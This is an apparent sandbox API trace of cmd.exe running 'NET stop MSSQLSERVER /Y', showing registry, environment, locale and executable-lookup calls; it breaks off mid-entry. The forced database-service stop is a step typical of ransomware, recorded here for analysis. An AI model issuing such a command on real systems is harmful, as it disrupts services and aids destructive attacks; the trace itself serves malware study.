[0034.731] GetConsoleOutputCP () returned 0x1b5 [0034.731] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a144260 | out: lpCPInfo=0x4a144260) returned 1 [0034.731] SetConsoleCtrlHandler (HandlerRoutine=0x4a13e72a, Add=1) returned 1 [0034.731] _get_osfhandle (_FileHandle=1) returned 0x7 [0034.731] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0034.732] _get_osfhandle (_FileHandle=1) returned 0x7 [0034.732] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a1441ac | out: lpMode=0x4a1441ac) returned 1 [0034.732] _get_osfhandle (_FileHandle=1) returned 0x7 [0034.732] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0034.732] _get_osfhandle (_FileHandle=0) returned 0x3 [0034.732] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a1441b0 | out: lpMode=0x4a1441b0) returned 1 [0034.733] _get_osfhandle (_FileHandle=0) returned 0x3 [0034.733] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0034.734] GetEnvironmentStringsW () returned 0x742b18* [0034.734] FreeEnvironmentStringsW (penv=0x742b18) returned 1 [0034.734] GetEnvironmentStringsW () returned 0x742b18* [0034.734] FreeEnvironmentStringsW (penv=0x742b18) returned 1 [0034.734] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x32e8c4 | out: phkResult=0x32e8c4*=0x6c) returned 0x0 [0034.734] RegQueryValueExW (in: hKey=0x6c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x32e8cc, lpData=0x32e8d0, lpcbData=0x32e8c8*=0x1000 | out: lpType=0x32e8cc*=0x0, lpData=0x32e8d0*=0x32, lpcbData=0x32e8c8*=0x1000) returned 0x2 [0034.734] RegQueryValueExW (in: hKey=0x6c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x32e8cc, lpData=0x32e8d0, lpcbData=0x32e8c8*=0x1000 | out: lpType=0x32e8cc*=0x4, lpData=0x32e8d0*=0x1, lpcbData=0x32e8c8*=0x4) returned 0x0 [0034.734] RegQueryValueExW (in: hKey=0x6c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x32e8cc, lpData=0x32e8d0, lpcbData=0x32e8c8*=0x1000 | out: lpType=0x32e8cc*=0x0, lpData=0x32e8d0*=0x1, lpcbData=0x32e8c8*=0x1000) returned 0x2 [0034.735] RegQueryValueExW (in: hKey=0x6c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x32e8cc, lpData=0x32e8d0, lpcbData=0x32e8c8*=0x1000 | out: lpType=0x32e8cc*=0x4, lpData=0x32e8d0*=0x0, lpcbData=0x32e8c8*=0x4) returned 0x0 [0034.735] RegQueryValueExW (in: hKey=0x6c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x32e8cc, lpData=0x32e8d0, lpcbData=0x32e8c8*=0x1000 | out: lpType=0x32e8cc*=0x4, lpData=0x32e8d0*=0x40, lpcbData=0x32e8c8*=0x4) returned 0x0 [0034.735] RegQueryValueExW (in: hKey=0x6c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x32e8cc, lpData=0x32e8d0, lpcbData=0x32e8c8*=0x1000 | out: lpType=0x32e8cc*=0x4, lpData=0x32e8d0*=0x40, lpcbData=0x32e8c8*=0x4) returned 0x0 [0034.735] RegQueryValueExW (in: hKey=0x6c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x32e8cc, lpData=0x32e8d0, lpcbData=0x32e8c8*=0x1000 | out: lpType=0x32e8cc*=0x0, lpData=0x32e8d0*=0x40, lpcbData=0x32e8c8*=0x1000) returned 0x2 [0034.735] RegCloseKey (hKey=0x6c) returned 0x0 [0034.735] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x32e8c4 | out: phkResult=0x32e8c4*=0x6c) returned 0x0 [0034.735] RegQueryValueExW (in: hKey=0x6c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x32e8cc, lpData=0x32e8d0, lpcbData=0x32e8c8*=0x1000 | out: lpType=0x32e8cc*=0x0, lpData=0x32e8d0*=0x40, lpcbData=0x32e8c8*=0x1000) returned 0x2 [0034.735] RegQueryValueExW (in: hKey=0x6c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x32e8cc, lpData=0x32e8d0, lpcbData=0x32e8c8*=0x1000 | out: lpType=0x32e8cc*=0x4, lpData=0x32e8d0*=0x1, lpcbData=0x32e8c8*=0x4) returned 0x0 [0034.735] RegQueryValueExW (in: hKey=0x6c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x32e8cc, lpData=0x32e8d0, lpcbData=0x32e8c8*=0x1000 | out: lpType=0x32e8cc*=0x0, lpData=0x32e8d0*=0x1, lpcbData=0x32e8c8*=0x1000) returned 0x2 [0034.735] RegQueryValueExW (in: hKey=0x6c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x32e8cc, lpData=0x32e8d0, lpcbData=0x32e8c8*=0x1000 | out: lpType=0x32e8cc*=0x4, lpData=0x32e8d0*=0x0, lpcbData=0x32e8c8*=0x4) returned 0x0 [0034.735] RegQueryValueExW (in: hKey=0x6c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x32e8cc, lpData=0x32e8d0, lpcbData=0x32e8c8*=0x1000 | out: lpType=0x32e8cc*=0x4, lpData=0x32e8d0*=0x9, lpcbData=0x32e8c8*=0x4) returned 0x0 [0034.735] RegQueryValueExW (in: hKey=0x6c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x32e8cc, lpData=0x32e8d0, lpcbData=0x32e8c8*=0x1000 | out: lpType=0x32e8cc*=0x4, lpData=0x32e8d0*=0x9, lpcbData=0x32e8c8*=0x4) returned 0x0 [0034.735] RegQueryValueExW (in: hKey=0x6c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x32e8cc, lpData=0x32e8d0, lpcbData=0x32e8c8*=0x1000 | out: lpType=0x32e8cc*=0x0, lpData=0x32e8d0*=0x9, lpcbData=0x32e8c8*=0x1000) returned 0x2 [0034.735] RegCloseKey (hKey=0x6c) returned 0x0 [0034.735] time (in: timer=0x0 | out: timer=0x0) returned 0x5c3c3f4d [0034.735] srand (_Seed=0x5c3c3f4d) [0034.735] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /c NET stop MSSQLSERVER /Y" [0034.735] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /c NET stop MSSQLSERVER /Y" [0034.736] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a145260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0034.737] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x744ba8, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0034.737] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a150640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0034.738] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a150640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0034.738] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a150640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0034.738] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0034.738] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0034.738] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0034.738] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0034.738] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0034.738] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0034.738] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0034.738] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0034.738] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0034.738] GetEnvironmentStringsW () returned 0x742b18* [0034.738] FreeEnvironmentStringsW (penv=0x742b18) returned 1 [0034.738] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a150640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0034.738] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a150640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0034.738] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0034.738] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0034.739] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0034.739] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0034.739] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0034.739] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0034.739] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0034.739] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0034.739] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x32f690 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0034.739] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x32f690, lpFilePart=0x32f68c | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x32f68c*="Desktop") returned 0x25 [0034.739] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0034.739] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x32f40c | out: lpFindFileData=0x32f40c) returned 0x741db0 [0034.739] FindClose (in: hFindFile=0x741db0 | out: hFindFile=0x741db0) returned 1 [0034.739] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x32f40c | out: lpFindFileData=0x32f40c) returned 0x741db0 [0034.739] FindClose (in: hFindFile=0x741db0 | out: hFindFile=0x741db0) returned 1 [0034.739] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0034.740] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x32f40c | out: lpFindFileData=0x32f40c) returned 0x741db0 [0034.740] FindClose (in: hFindFile=0x741db0 | out: hFindFile=0x741db0) returned 1 [0034.740] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0034.740] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0034.740] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0034.740] GetEnvironmentStringsW () returned 0x742b18* [0034.740] FreeEnvironmentStringsW (penv=0x742b18) returned 1 [0034.740] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a145260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0034.741] GetConsoleOutputCP () returned 0x1b5 [0034.741] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a144260 | out: lpCPInfo=0x4a144260) returned 1 [0034.741] GetUserDefaultLCID () returned 0x409 [0034.741] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a144950, cchData=8 | out: lpLCData=":") returned 2 [0034.742] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x32f7d0, cchData=128 | out: lpLCData="0") returned 2 [0034.742] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x32f7d0, cchData=128 | out: lpLCData="0") returned 2 [0034.742] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x32f7d0, cchData=128 | out: lpLCData="1") returned 2 [0034.742] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a144940, cchData=8 | out: lpLCData="/") returned 2 [0034.742] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a144d80, cchData=32 | out: lpLCData="Mon") returned 4 [0034.742] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a144d40, cchData=32 | out: lpLCData="Tue") returned 4 [0034.742] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a144d00, cchData=32 | out: lpLCData="Wed") returned 4 [0034.742] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a144cc0, cchData=32 | out: lpLCData="Thu") returned 4 [0034.742] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a144c80, cchData=32 | out: lpLCData="Fri") returned 4 [0034.742] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a144c40, cchData=32 | out: lpLCData="Sat") returned 4 [0034.742] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a144c00, cchData=32 | out: lpLCData="Sun") returned 4 [0034.742] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a144930, cchData=8 | out: lpLCData=".") returned 2 [0034.742] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a144920, cchData=8 | out: lpLCData=",") returned 2 [0034.742] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0034.744] GetConsoleTitleW (in: lpConsoleTitle=0x7458f8, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0034.744] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75a20000 [0034.744] GetProcAddress (hModule=0x75a20000, lpProcName="CopyFileExW") returned 0x75a53b92 [0034.744] GetProcAddress (hModule=0x75a20000, lpProcName="IsDebuggerPresent") returned 0x75a34a5d [0034.744] GetProcAddress (hModule=0x75a20000, lpProcName="SetConsoleInputExeNameW") returned 0x75a4a79d [0034.746] _wcsicmp (_String1="NET", _String2=")") returned 69 [0034.746] _wcsicmp (_String1="FOR", _String2="NET") returned -8 [0034.746] _wcsicmp (_String1="FOR/?", _String2="NET") returned -8 [0034.746] _wcsicmp (_String1="IF", _String2="NET") returned -5 [0034.746] _wcsicmp (_String1="IF/?", _String2="NET") returned -5 [0034.746] _wcsicmp (_String1="REM", _String2="NET") returned 4 [0034.746] _wcsicmp (_String1="REM/?", _String2="NET") returned 4 [0034.747] GetConsoleTitleW (in: lpConsoleTitle=0x32f4c8, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0034.747] _wcsicmp (_String1="NET", _String2="DIR") returned 10 [0034.747] _wcsicmp (_String1="NET", _String2="ERASE") returned 9 [0034.747] _wcsicmp (_String1="NET", _String2="DEL") returned 10 [0034.747] _wcsicmp (_String1="NET", _String2="TYPE") returned -6 [0034.747] _wcsicmp (_String1="NET", _String2="COPY") returned 11 [0034.747] _wcsicmp (_String1="NET", _String2="CD") returned 11 [0034.747] _wcsicmp (_String1="NET", _String2="CHDIR") returned 11 [0034.747] _wcsicmp (_String1="NET", _String2="RENAME") returned -4 [0034.748] _wcsicmp (_String1="NET", _String2="REN") returned -4 [0034.748] _wcsicmp (_String1="NET", _String2="ECHO") returned 9 [0034.748] _wcsicmp (_String1="NET", _String2="SET") returned -5 [0034.748] _wcsicmp (_String1="NET", _String2="PAUSE") returned -2 [0034.748] _wcsicmp (_String1="NET", _String2="DATE") returned 10 [0034.748] _wcsicmp (_String1="NET", _String2="TIME") returned -6 [0034.748] _wcsicmp (_String1="NET", _String2="PROMPT") returned -2 [0034.748] _wcsicmp (_String1="NET", _String2="MD") returned 1 [0034.748] _wcsicmp (_String1="NET", _String2="MKDIR") returned 1 [0034.748] _wcsicmp (_String1="NET", _String2="RD") returned -4 [0034.748] _wcsicmp (_String1="NET", _String2="RMDIR") returned -4 [0034.748] _wcsicmp (_String1="NET", _String2="PATH") returned -2 [0034.748] _wcsicmp (_String1="NET", _String2="GOTO") returned 7 [0034.748] _wcsicmp (_String1="NET", _String2="SHIFT") returned -5 [0034.748] _wcsicmp (_String1="NET", _String2="CLS") returned 11 [0034.748] _wcsicmp (_String1="NET", _String2="CALL") returned 11 [0034.748] _wcsicmp (_String1="NET", _String2="VERIFY") returned -8 [0034.748] _wcsicmp (_String1="NET", _String2="VER") returned -8 [0034.748] _wcsicmp (_String1="NET", _String2="VOL") returned -8 [0034.748] _wcsicmp (_String1="NET", _String2="EXIT") returned 9 [0034.748] _wcsicmp (_String1="NET", _String2="SETLOCAL") returned -5 [0034.748] _wcsicmp (_String1="NET", _String2="ENDLOCAL") returned 9 [0034.748] _wcsicmp (_String1="NET", _String2="TITLE") returned -6 [0034.748] _wcsicmp (_String1="NET", _String2="START") returned -5 [0034.748] _wcsicmp (_String1="NET", _String2="DPATH") returned 10 [0034.748] _wcsicmp (_String1="NET", _String2="KEYS") returned 3 [0034.748] _wcsicmp (_String1="NET", _String2="MOVE") returned 1 [0034.748] _wcsicmp (_String1="NET", _String2="PUSHD") returned -2 [0034.748] _wcsicmp (_String1="NET", _String2="POPD") returned -2 [0034.748] _wcsicmp (_String1="NET", _String2="ASSOC") returned 13 [0034.748] _wcsicmp (_String1="NET", _String2="FTYPE") returned 8 [0034.748] _wcsicmp (_String1="NET", _String2="BREAK") returned 12 [0034.748] _wcsicmp (_String1="NET", _String2="COLOR") returned 11 [0034.748] _wcsicmp (_String1="NET", _String2="MKLINK") returned 1 [0034.749] _wcsicmp (_String1="NET", _String2="DIR") returned 10 [0034.749] _wcsicmp (_String1="NET", _String2="ERASE") returned 9 [0034.749] _wcsicmp (_String1="NET", _String2="DEL") returned 10 [0034.749] _wcsicmp (_String1="NET", _String2="TYPE") returned -6 [0034.749] _wcsicmp (_String1="NET", _String2="COPY") returned 11 [0034.749] _wcsicmp (_String1="NET", _String2="CD") returned 11 [0034.749] _wcsicmp (_String1="NET", _String2="CHDIR") returned 11 [0034.749] _wcsicmp (_String1="NET", _String2="RENAME") returned -4 [0034.749] _wcsicmp (_String1="NET", _String2="REN") returned -4 [0034.749] _wcsicmp (_String1="NET", _String2="ECHO") returned 9 [0034.749] _wcsicmp (_String1="NET", _String2="SET") returned -5 [0034.749] _wcsicmp (_String1="NET", _String2="PAUSE") returned -2 [0034.749] _wcsicmp (_String1="NET", _String2="DATE") returned 10 [0034.749] _wcsicmp (_String1="NET", _String2="TIME") returned -6 [0034.749] _wcsicmp (_String1="NET", _String2="PROMPT") returned -2 [0034.749] _wcsicmp (_String1="NET", _String2="MD") returned 1 [0034.749] _wcsicmp (_String1="NET", _String2="MKDIR") returned 1 [0034.749] _wcsicmp (_String1="NET", _String2="RD") returned -4 [0034.749] _wcsicmp (_String1="NET", _String2="RMDIR") returned -4 [0034.749] _wcsicmp (_String1="NET", _String2="PATH") returned -2 [0034.749] _wcsicmp (_String1="NET", _String2="GOTO") returned 7 [0034.749] _wcsicmp (_String1="NET", _String2="SHIFT") returned -5 [0034.749] _wcsicmp (_String1="NET", _String2="CLS") returned 11 [0034.749] _wcsicmp (_String1="NET", _String2="CALL") returned 11 [0034.749] _wcsicmp (_String1="NET", _String2="VERIFY") returned -8 [0034.749] _wcsicmp (_String1="NET", _String2="VER") returned -8 [0034.749] _wcsicmp (_String1="NET", _String2="VOL") returned -8 [0034.749] _wcsicmp (_String1="NET", _String2="EXIT") returned 9 [0034.749] _wcsicmp (_String1="NET", _String2="SETLOCAL") returned -5 [0034.749] _wcsicmp (_String1="NET", _String2="ENDLOCAL") returned 9 [0034.749] _wcsicmp (_String1="NET", _String2="TITLE") returned -6 [0034.749] _wcsicmp (_String1="NET", _String2="START") returned -5 [0034.750] _wcsicmp (_String1="NET", _String2="DPATH") returned 10 [0034.750] _wcsicmp (_String1="NET", _String2="KEYS") returned 3 [0034.750] _wcsicmp (_String1="NET", _String2="MOVE") returned 1 [0034.750] _wcsicmp (_String1="NET", _String2="PUSHD") returned -2 [0034.750] _wcsicmp (_String1="NET", _String2="POPD") returned -2 [0034.750] _wcsicmp (_String1="NET", _String2="ASSOC") returned 13 [0034.750] _wcsicmp (_String1="NET", _String2="FTYPE") returned 8 [0034.750] _wcsicmp (_String1="NET", _String2="BREAK") returned 12 [0034.750] _wcsicmp (_String1="NET", _String2="COLOR") returned 11 [0034.750] _wcsicmp (_String1="NET", _String2="MKLINK") returned 1 [0034.750] _wcsicmp (_String1="NET", _String2="FOR") returned 8 [0034.750] _wcsicmp (_String1="NET", _String2="IF") returned 5 [0034.750] _wcsicmp (_String1="NET", _String2="REM") returned -4 [0034.750] _wcsnicmp (_String1="NET", _String2="cmd ", _MaxCount=0x4) returned 11 [0034.750] SetErrorMode (uMode=0x0) returned 0x0 [0034.750] SetErrorMode (uMode=0x1) returned 0x0 [0034.751] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x745db8, lpFilePart=0x32efe8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x32efe8*="Desktop") returned 0x25 [0034.751] SetErrorMode (uMode=0x0) returned 0x1 [0034.751] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a150640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0034.751] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0034.758] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a150640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0034.764] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0034.765] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\NET.*", fInfoLevelId=0x1, lpFindFileData=0x32ed64, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x32ed64) returned 0xffffffff [0034.765] GetLastError () returned 0x2 [0034.765] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\NET", fInfoLevelId=0x1, lpFindFileData=0x32ed64, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x32ed64) returned 0xffffffff [0034.765] GetLastError () returned 0x2 [0034.765] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0034.765] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\NET.*", fInfoLevelId=0x1, lpFindFileData=0x32ed64, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x32ed64) returned 0x7460f0 [0034.767] FindClose (in: hFindFile=0x7460f0 | out: hFindFile=0x7460f0) returned 1 [0034.767] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\net.COM", fInfoLevelId=0x1, lpFindFileData=0x32ed64, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x32ed64) returned 0xffffffff [0034.767] GetLastError () returned 0x2 [0034.767] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\net.EXE", fInfoLevelId=0x1, lpFindFileData=0x32ed64, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x32ed64) returned 0x7460f0 [0034.767] FindClose (in: hFindFile=0x7460f0 | out: hFindFile=0x7460f0) returned 1 [0034.767] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0034.767] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0034.767] GetConsoleTitleW (in: lpConsoleTitle=0x32f25c, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0034.767] InitializeProcThreadAttributeList (in: lpAttributeList=0x32f0e4, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x32f1ac | out: lpAttributeList=0x32f0e4, lpSize=0x32f1ac) returned 1 [0034.767] UpdateProcThreadAttribute (in: lpAttributeList=0x32f0e4, dwFlags=0x0, Attribute=0x60001, lpValue=0x32f1a4, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x32f0e4, lpPreviousValue=0x0) returned 1 [0034.768] GetStartupInfoW (in: lpStartupInfo=0x32f0a0 | out: lpStartupInfo=0x32f0a0*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x144, lpReserved2=0x7319c0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0034.768] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0034.768] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0034.768] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0034.768] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0034.768] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0034.768] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0034.768] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0034.768] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0034.768] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0034.768] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0034.768] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0034.768] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0034.768] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0034.768] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0034.768] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0034.768] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0034.768] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0034.768] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0034.768] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0034.768] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0034.768] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0034.768] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0034.768] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0034.768] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0034.768] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0034.768] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0034.768] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0034.768] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0034.769] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0034.769] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0034.769] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0034.769] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0034.769] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0034.769] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0034.769] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0034.769] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0034.769] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0034.769] _wcsnicmp 